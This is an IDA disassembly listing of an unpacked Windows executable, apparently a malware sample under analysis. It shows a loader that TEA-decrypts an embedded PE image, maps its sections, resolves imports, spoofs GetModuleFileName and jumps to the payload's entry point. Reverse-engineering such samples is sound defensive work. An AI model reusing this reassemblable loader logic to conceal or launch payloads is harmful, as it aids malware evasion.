;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	80E3AE8AEE2DE66720293DE5AB5C97CF

; File Name   :	u:\work\80e3ae8aee2de66720293de5ab5c97cf_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	3D0000
; Section 1. (virtual address 00001000)
; Virtual size			: 000010F5 (   4341.)
; Section size in file		: 000010F5 (   4341.)
; Offset to raw	data for section: 00001000
; Flags	60000020: Text Executable Readable
; Alignment	: default

		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 3D1000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3D1000	proc near		; CODE XREF: sub_3D14C4+136p
					; sub_3D14C4+17Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_8]
		pop	eax
		mov	ecx, eax
		pop	eax
		add	ecx, [eax+3Ch]
		mov	[ebp+var_4], ecx
		push	[ebp+var_4]
		pop	eax
		leave
		retn
sub_3D1000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3D1022	proc near		; CODE XREF: sub_3D14C4+160p

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_3D1E6C
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		push	2
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	dword_431B40	; VirtualProtect
		leave
		retn
sub_3D1022	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3D1050	proc near		; DATA XREF: sub_3D10B2+42o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jz	short loc_3D1065
		push	[ebp+arg_0]
		pop	eax
		cmp	eax, off_3EF69C
		jnz	short loc_3D106D


loc_3D1065:				; CODE XREF: sub_3D1050+7j
		mov	eax, dword_3EF698
		mov	[ebp+arg_0], eax


loc_3D106D:				; CODE XREF: sub_3D1050+13j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_3EF690
		pop	ebp
		retn	0Ch
sub_3D1050	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3D1080	proc near		; DATA XREF: sub_3D10B2+66o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jz	short loc_3D1095
		push	[ebp+arg_0]
		pop	eax
		cmp	eax, off_3EF69C
		jnz	short loc_3D109F


loc_3D1095:				; CODE XREF: sub_3D1080+7j
		push	dword_3EF698
		pop	eax
		mov	[ebp+arg_0], eax


loc_3D109F:				; CODE XREF: sub_3D1080+13j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_3EF694
		pop	ebp
		retn	0Ch
sub_3D1080	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3D10B2	proc near		; CODE XREF: sub_3D1137+F7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	ds:dword_3D3000	; GetProcAddress
		mov	[ebp+var_4], eax
		push	offset aKernel32_dll ; "kernel32.dll"
		push	[ebp+arg_4]
		call	sub_3D1F6F
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_3D111F
		push	offset aGetmodulefilen ; "GetModuleFileNameA"
		push	[ebp+arg_8]
		call	sub_3D1EE3
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_3D10FC
		push	[ebp+var_4]
		pop	eax
		mov	dword_3EF690, eax
		push	offset sub_3D1050
		pop	eax
		jmp	short locret_3D1122
; ---------------------------------------------------------------------------


loc_3D10FC:				; CODE XREF: sub_3D10B2+37j
		push	offset aGetmodulefil_0 ; "GetModuleFileNameW"
		push	[ebp+arg_8]
		call	sub_3D1EE3
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_3D111F
		push	[ebp+var_4]
		pop	eax
		mov	dword_3EF694, eax
		mov	eax, offset sub_3D1080
		jmp	short locret_3D1122
; ---------------------------------------------------------------------------


loc_3D111F:				; CODE XREF: sub_3D10B2+24j
					; sub_3D10B2+5Bj
		mov	eax, [ebp+var_4]

locret_3D1122:				; CODE XREF: sub_3D10B2+48j
					; sub_3D10B2+6Bj
		leave
		retn
sub_3D10B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3D1124	proc near		; CODE XREF: sub_3D1137+AAp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		and	eax, 80000000h
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ebp
		retn
sub_3D1124	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3D1137	proc near		; CODE XREF: sub_3D14C4+193p

var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	0
		call	ds:dword_3D3008	; GetModuleHandleA
		mov	dword_3EF698, eax
		mov	eax, [ebp+arg_4]
		mov	off_3EF69C, eax
		push	[ebp+arg_0]
		pop	eax
		add	eax, 80h
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_4]
		add	ecx, [eax]
		mov	[ebp+var_4], ecx


loc_3D1169:				; CODE XREF: sub_3D1137+132j
		push	[ebp+var_4]
		pop	eax
		cmp	dword ptr [eax+0Ch], 0
		jz	locret_3D126E
		and	[ebp+var_C], 0
		and	[ebp+var_10], 0
		push	[ebp+var_4]
		pop	eax
		mov	ecx, [ebp+arg_4]
		add	ecx, [eax+0Ch]
		mov	[ebp+var_1C], ecx
		push	[ebp+var_1C]
		call	ds:dword_3D3004	; LoadLibraryA
		mov	[ebp+var_18], eax
		push	[ebp+var_4]
		pop	eax
		cmp	dword ptr [eax+4], 0
		jnz	short loc_3D11B5
		mov	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_4]
		pop	eax
		mov	ecx, eax
		pop	eax
		add	ecx, [eax+10h]
		mov	[ebp+var_C], ecx
		jmp	short loc_3D11C1
; ---------------------------------------------------------------------------


loc_3D11B5:				; CODE XREF: sub_3D1137+69j
		mov	eax, [ebp+var_4]
		push	[ebp+arg_4]
		pop	ecx
		add	ecx, [eax]
		mov	[ebp+var_C], ecx


loc_3D11C1:				; CODE XREF: sub_3D1137+7Cj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		add	ecx, [eax+10h]
		mov	[ebp+var_14], ecx


loc_3D11CD:				; CODE XREF: sub_3D1137+123j
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax], 0
		jz	loc_3D125F
		push	[ebp+var_18]
		mov	eax, [ebp+var_C]
		push	dword ptr [eax]
		call	sub_3D1124
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_3D1211
		mov	eax, [ebp+var_C]
		push	dword ptr [eax]
		pop	eax
		and	eax, 0FFFFh
		mov	[ebp+var_20], ax
		movzx	eax, [ebp+var_20]
		push	eax
		push	[ebp+var_18]
		call	ds:dword_3D3000	; GetProcAddress
		mov	[ebp+var_10], eax
		jmp	short loc_3D1239
; ---------------------------------------------------------------------------


loc_3D1211:				; CODE XREF: sub_3D1137+B6j
		push	[ebp+var_C]
		pop	eax
		push	eax
		push	[ebp+arg_4]
		pop	eax
		mov	ecx, eax
		pop	eax
		add	ecx, [eax]
		mov	[ebp+var_24], ecx
		mov	eax, [ebp+var_24]
		inc	eax
		inc	eax
		push	eax
		push	[ebp+var_1C]
		push	[ebp+var_18]
		call	sub_3D10B2
		add	esp, 0Ch
		mov	[ebp+var_10], eax


loc_3D1239:				; CODE XREF: sub_3D1137+D8j
		push	[ebp+var_14]
		pop	eax
		push	eax
		push	[ebp+var_10]
		pop	eax
		mov	ecx, eax
		pop	eax
		mov	[eax], ecx
		mov	eax, [ebp+var_14]
		add	eax, 4
		mov	[ebp+var_14], eax
		push	[ebp+var_C]
		pop	eax
		add	eax, 4
		mov	[ebp+var_C], eax
		jmp	loc_3D11CD
; ---------------------------------------------------------------------------


loc_3D125F:				; CODE XREF: sub_3D1137+9Cj
		push	[ebp+var_4]
		pop	eax
		add	eax, 14h
		mov	[ebp+var_4], eax
		jmp	loc_3D1169
; ---------------------------------------------------------------------------

locret_3D126E:				; CODE XREF: sub_3D1137+3Aj
		leave
		retn
sub_3D1137	endp


; =============== S U B	R O U T	I N E =======================================



sub_3D1270	proc near		; CODE XREF: sub_3D1453+31p
		push	ebp
		push	esp
		pop	ebp
		sub	esp, 1Ch
		mov	dword ptr [ebp-1Ch], 9E3779B9h
		mov	dword ptr [ebp-0Ch], 4
		add	dword ptr [ebp-0Ch], 1Ch
		mov	eax, [ebp+8]
		mov	eax, [eax]
		mov	[ebp-8], eax
		push	dword ptr [ebp+8]
		pop	eax
		push	dword ptr [eax+4]
		pop	eax
		mov	[ebp-14h], eax
		mov	eax, [ebp-1Ch]
		shl	eax, 5
		mov	[ebp-18h], eax


loc_3D12A4:				; CODE XREF: sub_3D1270+CFj
		push	dword ptr [ebp-0Ch]
		pop	eax
		push	dword ptr [ebp-0Ch]
		pop	ecx
		dec	ecx
		mov	[ebp-0Ch], ecx
		test	eax, eax
		jbe	loc_3D1344
		push	dword ptr [ebp-8]
		pop	eax
		shl	eax, 4
		mov	[ebp-4], eax
		push	dword ptr [ebp-8]
		pop	eax
		shr	eax, 5
		mov	[ebp-10h], eax
		push	dword ptr [ebp+0Ch]
		pop	eax
		push	eax
		push	dword ptr [ebp-4]
		pop	eax
		mov	ecx, eax
		pop	eax
		add	ecx, [eax+8]
		mov	eax, [ebp-8]
		add	eax, [ebp-18h]
		xor	ecx, eax
		push	dword ptr [ebp+0Ch]
		pop	eax
		push	dword ptr [ebp-10h]
		pop	edx
		add	edx, [eax+0Ch]
		xor	ecx, edx
		mov	eax, [ebp-14h]
		sub	eax, ecx
		mov	[ebp-14h], eax
		push	dword ptr [ebp-14h]
		pop	eax
		shl	eax, 4
		mov	[ebp-4], eax
		push	dword ptr [ebp-14h]
		pop	eax
		shr	eax, 5
		mov	[ebp-10h], eax
		push	dword ptr [ebp+0Ch]
		pop	eax
		mov	ecx, [ebp-4]
		add	ecx, [eax]
		push	dword ptr [ebp-14h]
		pop	eax
		add	eax, [ebp-18h]
		xor	ecx, eax
		mov	eax, [ebp+0Ch]
		push	eax
		push	dword ptr [ebp-10h]
		pop	eax
		mov	edx, eax
		pop	eax
		add	edx, [eax+4]
		xor	ecx, edx
		mov	eax, [ebp-8]
		sub	eax, ecx
		mov	[ebp-8], eax
		mov	eax, [ebp-18h]
		sub	eax, [ebp-1Ch]
		mov	[ebp-18h], eax
		jmp	loc_3D12A4
; ---------------------------------------------------------------------------


loc_3D1344:				; CODE XREF: sub_3D1270+42j
		mov	eax, [ebp+8]
		push	eax
		push	dword ptr [ebp-14h]
		pop	eax
		mov	ecx, eax
		pop	eax
		mov	[eax+4], ecx
		push	dword ptr [ebp+8]
		pop	eax
		push	eax
		push	dword ptr [ebp-8]
		pop	eax
		mov	ecx, eax
		pop	eax
		mov	[eax], ecx
		leave
		retn
sub_3D1270	endp


; =============== S U B	R O U T	I N E =======================================



sub_3D1362	proc near		; CODE XREF: sub_3D13FB+4Cp
					; sub_3D1453+19p
		push	ebp
		push	esp
		pop	ebp
		push	ecx
		push	ecx
		and	dword ptr [ebp-8], 0
		and	dword ptr [ebp-4], 0


loc_3D136F:				; CODE XREF: sub_3D1362+45j
		push	0
		lea	eax, [ebp-8]
		push	eax
		push	dword ptr [ebp+10h]
		pop	eax
		sub	eax, [ebp-4]
		push	eax
		push	dword ptr [ebp+0Ch]
		pop	eax
		add	eax, [ebp-4]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_431B54	; ReadFile
		test	eax, eax
		jnz	short loc_3D1396
		xor	al, al
		jmp	short locret_3D13AD
; ---------------------------------------------------------------------------


loc_3D1396:				; CODE XREF: sub_3D1362+2Ej
		push	dword ptr [ebp-4]
		pop	eax
		add	eax, [ebp-8]
		mov	[ebp-4], eax
		push	dword ptr [ebp-8]
		pop	eax
		cmp	eax, [ebp+10h]
		jnz	short loc_3D136F
		mov	al, 0
		add	al, 1

locret_3D13AD:				; CODE XREF: sub_3D1362+32j
		leave
		retn
sub_3D1362	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3D13AF	proc near		; CODE XREF: sub_3D13FB+2Dp
					; sub_3D1453+44p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0


loc_3D13BC:				; CODE XREF: sub_3D13AF+44j
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_8]
		pop	eax
		sub	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	dword_431B58	; WriteFile
		test	eax, eax
		jnz	short loc_3D13E2
		xor	al, al
		jmp	short locret_3D13F9
; ---------------------------------------------------------------------------


loc_3D13E2:				; CODE XREF: sub_3D13AF+2Dj
		push	[ebp+var_4]
		pop	eax
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		pop	eax
		cmp	eax, [ebp+arg_8]
		jnz	short loc_3D13BC
		mov	al, 0
		add	al, 1

locret_3D13F9:				; CODE XREF: sub_3D13AF+31j
		leave
		retn
sub_3D13AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_3D13FB	proc near		; CODE XREF: sub_3D14C4+EBp
		push	ebp
		push	esp
		pop	ebp
		push	ecx
		and	dword ptr [ebp-4], 0
		jmp	short loc_3D140E
; ---------------------------------------------------------------------------


loc_3D1405:				; CODE XREF: sub_3D13FB+54j
		push	dword ptr [ebp-4]
		pop	eax
		inc	eax
		inc	eax
		mov	[ebp-4], eax


loc_3D140E:				; CODE XREF: sub_3D13FB+8j
		mov	eax, [ebp-4]
		cmp	eax, [ebp+10h]
		jnb	short locret_3D1451
		push	8
		mov	eax, [ebp-4]
		mov	ecx, [ebp+0Ch]
		lea	eax, [ecx+eax*4]
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [eax+4]
		call	sub_3D13AF
		add	esp, 0Ch
		push	8
		mov	eax, [ebp-4]
		push	eax
		push	dword ptr [ebp+0Ch]
		pop	eax
		mov	ecx, eax
		pop	eax
		lea	eax, [ecx+eax*4]
		push	eax
		push	dword ptr [ebp+8]
		pop	eax
		push	dword ptr [eax]
		call	sub_3D1362
		add	esp, 0Ch
		jmp	short loc_3D1405
; ---------------------------------------------------------------------------

locret_3D1451:				; CODE XREF: sub_3D13FB+19j
		leave
		retn
sub_3D13FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_3D1453	proc near		; DATA XREF: sub_3D14C4+BEo
		push	ebp
		push	esp
		pop	ebp
		sub	esp, 0Ch
		push	dword ptr [ebp+8]
		pop	eax
		mov	[ebp-0Ch], eax


loc_3D1460:				; CODE XREF: sub_3D1453+4Cj
		push	8
		lea	eax, [ebp-8]
		push	eax
		push	dword ptr [ebp-0Ch]
		pop	eax
		push	dword ptr [eax]
		call	sub_3D1362
		add	esp, 0Ch
		movzx	eax, al
		test	eax, eax
		jz	short loc_3D14A1
		push	offset dword_431B29
		lea	eax, [ebp-8]
		push	eax
		call	sub_3D1270
		pop	ecx
		pop	ecx
		push	8
		lea	eax, [ebp-8]
		push	eax
		mov	eax, [ebp-0Ch]
		push	dword ptr [eax+4]
		call	sub_3D13AF
		add	esp, 0Ch
		jmp	short loc_3D1460
; ---------------------------------------------------------------------------


loc_3D14A1:				; CODE XREF: sub_3D1453+26j
		xor	eax, eax
		leave
		retn	4
sub_3D1453	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3D14A7	proc near		; CODE XREF: sub_3D14C4+F7p
					; sub_3D14C4+101p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		pop	eax
		push	dword ptr [eax]
		call	dword_431B48	; CloseHandle
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+4]
		call	dword_431B48	; CloseHandle
		pop	ebp
		retn
sub_3D14A7	endp


; =============== S U B	R O U T	I N E =======================================



sub_3D14C4	proc near		; CODE XREF: start+3p
		push	ebp
		push	esp
		pop	ebp
		sub	esp, 48h
		call	sub_3D16A0
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		push	dword ptr [eax+30h]
		pop	eax
		mov	[ebp-30h], eax
		push	dword ptr [ebp-30h]
		pop	eax
		movzx	eax, byte ptr [eax+2]
		test	eax, eax
		jz	short loc_3D14ED
		jmp	locret_3D168D
; ---------------------------------------------------------------------------


loc_3D14ED:				; CODE XREF: sub_3D14C4+22j
		mov	dword_431B29, 1151h
		add	dword_431B29, 69Fh
		mov	dword_431B2D, 1185h
		add	dword_431B2D, 1CC5h
		mov	dword_431B31, 4E3Bh
		add	dword_431B31, 0F21h
		call	sub_3D1900
		mov	dword_431B35, 0A43h
		add	dword_431B35, 2BB1h
		push	10h
		push	0
		lea	eax, [ebp-34h]
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		call	dword_431B50	; CreatePipe
		test	eax, eax
		jnz	short loc_3D155D
		jmp	locret_3D168D
; ---------------------------------------------------------------------------


loc_3D155D:				; CODE XREF: sub_3D14C4+92j
		push	10h
		push	0
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		call	dword_431B50	; CreatePipe
		test	eax, eax
		jnz	short loc_3D1578
		jmp	locret_3D168D
; ---------------------------------------------------------------------------


loc_3D1578:				; CODE XREF: sub_3D14C4+ADj
		lea	eax, [ebp-8]
		push	eax
		push	0
		lea	eax, [ebp-38h]
		push	eax
		push	offset sub_3D1453
		push	0
		push	0
		call	dword_431B4C	; CreateThread
		mov	[ebp-3Ch], eax
		call	ds:dword_3D3010	; GetTickCount
		mov	[ebp-10h], eax
		mov	eax, dword_3EF67F
		shr	eax, 2
		push	eax
		push	offset dword_3D4000
		lea	eax, [ebp-1Ch]
		push	eax
		call	sub_3D13FB
		add	esp, 0Ch
		lea	eax, [ebp-1Ch]
		push	eax
		call	sub_3D14A7
		pop	ecx
		lea	eax, [ebp-38h]
		push	eax
		call	sub_3D14A7
		pop	ecx
		push	dword ptr [ebp-3Ch]
		call	dword_431B48	; CloseHandle
		call	ds:dword_3D3010	; GetTickCount
		mov	[ebp-0Ch], eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	ds:dword_3D300C	; GetSystemTime
		movzx	eax, word ptr [ebp-26h]
		cmp	eax, 64h
		jle	short loc_3D15F5
		jmp	locret_3D168D
; ---------------------------------------------------------------------------


loc_3D15F5:				; CODE XREF: sub_3D14C4+12Aj
		push	offset dword_3D4000
		call	sub_3D1000
		pop	ecx
		mov	[ebp-14h], eax
		cmp	dword ptr [ebp-14h], 0
		jz	locret_3D168D
		mov	eax, [ebp-14h]
		mov	eax, [eax+34h]
		mov	[ebp-44h], eax
		mov	eax, [ebp-14h]
		push	dword ptr [eax+54h]
		push	dword ptr [ebp-44h]
		push	offset dword_3D4000
		call	sub_3D1022
		add	esp, 0Ch
		push	dword ptr [ebp-44h]
		push	offset dword_3D4000
		push	dword ptr [ebp-14h]
		call	sub_3D16B0
		add	esp, 0Ch
		push	dword ptr [ebp-44h]
		call	sub_3D1000
		pop	ecx
		mov	[ebp-40h], eax
		cmp	dword ptr [ebp-40h], 0
		jz	short locret_3D168D
		push	dword ptr [ebp-44h]
		push	dword ptr [ebp-40h]
		call	sub_3D1137
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-44h]
		push	dword ptr [ebp-40h]
		call	sub_3D1855
		pop	ecx
		pop	ecx
		mov	eax, [ebp-30h]
		push	eax
		push	dword ptr [ebp-44h]
		pop	eax
		mov	ecx, eax
		pop	eax
		mov	[eax+8], ecx
		mov	eax, [ebp-14h]
		push	eax
		push	dword ptr [ebp-44h]
		pop	eax
		mov	ecx, eax
		pop	eax
		add	ecx, [eax+28h]
		mov	[ebp-48h], ecx
		call	dword ptr [ebp-48h]

locret_3D168D:				; CODE XREF: sub_3D14C4+24j
					; sub_3D14C4+94j ...
		leave
		retn
sub_3D14C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public start

start		proc near
		push	ebp
		mov	ebp, esp
		call	sub_3D14C4
		xor	eax, eax
		pop	ebp
		retn
start		endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_3D16A0	proc near		; CODE XREF: sub_3D14C4+6p
		push	ebp
		push	esp
		pop	ebp
		push	large dword ptr	fs:18h
		pop	eax
		pop	ebp
		retn
sub_3D16A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_3D16B0	proc near		; CODE XREF: sub_3D14C4+173p
		push	ebp
		push	esp
		pop	ebp
		sub	esp, 28h
		push	dword ptr [ebp+8]
		pop	eax
		add	eax, 0F8h
		mov	[ebp-0Ch], eax
		push	dword ptr [ebp+8]
		pop	eax
		mov	ax, [eax+6]
		mov	[ebp-8], ax
		mov	eax, [ebp-0Ch]
		mov	[ebp-4], eax
		and	word ptr [ebp-10h], 0
		jmp	short loc_3D16E7
; ---------------------------------------------------------------------------


loc_3D16DB:				; CODE XREF: sub_3D16B0+D4j
		mov	ax, [ebp-10h]
		add	ax, 1
		mov	[ebp-10h], ax


loc_3D16E7:				; CODE XREF: sub_3D16B0+29j
		movzx	eax, word ptr [ebp-10h]
		movzx	ecx, word ptr [ebp-8]
		cmp	eax, ecx
		jge	locret_3D1789
		movzx	eax, word ptr [ebp-10h]
		imul	eax, 28h
		push	eax
		push	dword ptr [ebp-4]
		pop	eax
		mov	ecx, eax
		pop	eax
		push	dword ptr [eax+ecx+8]
		pop	eax
		mov	[ebp-24h], eax
		movzx	eax, word ptr [ebp-10h]
		imul	eax, 28h
		mov	ecx, [ebp-4]
		push	dword ptr [eax+ecx+10h]
		pop	eax
		mov	[ebp-14h], eax
		push	dword ptr [ebp-24h]
		pop	eax
		cmp	eax, [ebp-14h]
		jnb	short loc_3D1732
		push	dword ptr [ebp-24h]
		pop	eax
		mov	[ebp-28h], eax
		jmp	short loc_3D1739
; ---------------------------------------------------------------------------


loc_3D1732:				; CODE XREF: sub_3D16B0+77j
		push	dword ptr [ebp-14h]
		pop	eax
		mov	[ebp-28h], eax


loc_3D1739:				; CODE XREF: sub_3D16B0+80j
		push	dword ptr [ebp-28h]
		pop	eax
		mov	[ebp-18h], eax
		movzx	eax, word ptr [ebp-10h]
		imul	eax, 28h
		push	eax
		push	dword ptr [ebp-4]
		pop	eax
		mov	ecx, eax
		pop	eax
		push	dword ptr [ebp+10h]
		pop	edx
		add	edx, [eax+ecx+0Ch]
		mov	[ebp-1Ch], edx
		movzx	eax, word ptr [ebp-10h]
		imul	eax, 28h
		push	eax
		push	dword ptr [ebp-4]
		pop	eax
		mov	ecx, eax
		pop	eax
		mov	edx, [ebp+0Ch]
		add	edx, [eax+ecx+14h]
		mov	[ebp-20h], edx
		push	dword ptr [ebp-18h]
		push	dword ptr [ebp-20h]
		push	dword ptr [ebp-1Ch]
		call	sub_3D1E6C
		add	esp, 0Ch
		jmp	loc_3D16DB
; ---------------------------------------------------------------------------

locret_3D1789:				; CODE XREF: sub_3D16B0+41j
		leave
		retn
sub_3D16B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3D178B	proc near		; CODE XREF: sub_3D1855+8Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		and	eax, 4000000h
		jz	short loc_3D17A9
		push	[ebp+var_4]
		pop	eax
		or	eax, 200h
		mov	[ebp+var_4], eax


loc_3D17A9:				; CODE XREF: sub_3D178B+10j
		push	[ebp+arg_0]
		pop	eax
		and	eax, 20000000h
		jz	short loc_3D1804
		push	[ebp+arg_0]
		pop	eax
		and	eax, 40000000h
		jz	short loc_3D17E0
		mov	eax, [ebp+arg_0]
		and	eax, 80000000h
		jz	short loc_3D17D5
		push	[ebp+var_4]
		pop	eax
		or	eax, 40h
		mov	[ebp+var_4], eax
		jmp	short loc_3D17DE
; ---------------------------------------------------------------------------


loc_3D17D5:				; CODE XREF: sub_3D178B+3Cj
		mov	eax, [ebp+var_4]
		or	eax, 20h
		mov	[ebp+var_4], eax


loc_3D17DE:				; CODE XREF: sub_3D178B+48j
		jmp	short loc_3D1802
; ---------------------------------------------------------------------------


loc_3D17E0:				; CODE XREF: sub_3D178B+32j
		push	[ebp+arg_0]
		pop	eax
		and	eax, 80000000h
		jz	short loc_3D17F8
		mov	eax, [ebp+var_4]
		or	eax, 80h
		mov	[ebp+var_4], eax
		jmp	short loc_3D1802
; ---------------------------------------------------------------------------


loc_3D17F8:				; CODE XREF: sub_3D178B+5Ej
		push	[ebp+var_4]
		pop	eax
		or	eax, 10h
		mov	[ebp+var_4], eax


loc_3D1802:				; CODE XREF: sub_3D178B:loc_3D17DEj
					; sub_3D178B+6Bj
		jmp	short loc_3D1850
; ---------------------------------------------------------------------------


loc_3D1804:				; CODE XREF: sub_3D178B+27j
		push	[ebp+arg_0]
		pop	eax
		and	eax, 40000000h
		jz	short loc_3D1830
		mov	eax, [ebp+arg_0]
		and	eax, 80000000h
		jz	short loc_3D1824
		mov	eax, [ebp+var_4]
		or	eax, 4
		mov	[ebp+var_4], eax
		jmp	short loc_3D182E
; ---------------------------------------------------------------------------


loc_3D1824:				; CODE XREF: sub_3D178B+8Cj
		push	[ebp+var_4]
		pop	eax
		or	eax, 2
		mov	[ebp+var_4], eax


loc_3D182E:				; CODE XREF: sub_3D178B+97j
		jmp	short loc_3D1850
; ---------------------------------------------------------------------------


loc_3D1830:				; CODE XREF: sub_3D178B+82j
		push	[ebp+arg_0]
		pop	eax
		and	eax, 80000000h
		jz	short loc_3D1846
		mov	eax, [ebp+var_4]
		or	eax, 8
		mov	[ebp+var_4], eax
		jmp	short loc_3D1850
; ---------------------------------------------------------------------------


loc_3D1846:				; CODE XREF: sub_3D178B+AEj
		push	[ebp+var_4]
		pop	eax
		or	eax, 1
		mov	[ebp+var_4], eax


loc_3D1850:				; CODE XREF: sub_3D178B:loc_3D1802j
					; sub_3D178B:loc_3D182Ej ...
		mov	eax, [ebp+var_4]
		leave
		retn
sub_3D178B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3D1855	proc near		; CODE XREF: sub_3D14C4+1A0p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
var_8		= word ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_0]
		add	eax, 0F8h
		mov	[ebp+var_C], eax
		push	[ebp+arg_0]
		pop	eax
		mov	ax, [eax+6]
		mov	[ebp+var_8], ax
		push	[ebp+var_C]
		pop	eax
		mov	[ebp+var_4], eax
		and	[ebp+var_10], 0
		jmp	short loc_3D188C
; ---------------------------------------------------------------------------


loc_3D1880:				; CODE XREF: sub_3D1855+9Ej
		mov	ax, [ebp+var_10]
		add	ax, 1
		mov	[ebp+var_10], ax


loc_3D188C:				; CODE XREF: sub_3D1855+29j
		movzx	eax, [ebp+var_10]
		movzx	ecx, [ebp+var_8]
		cmp	eax, ecx
		jge	short locret_3D18F5
		movzx	eax, [ebp+var_10]
		imul	eax, 28h
		push	eax
		push	[ebp+var_4]
		pop	eax
		mov	ecx, eax
		pop	eax
		push	eax
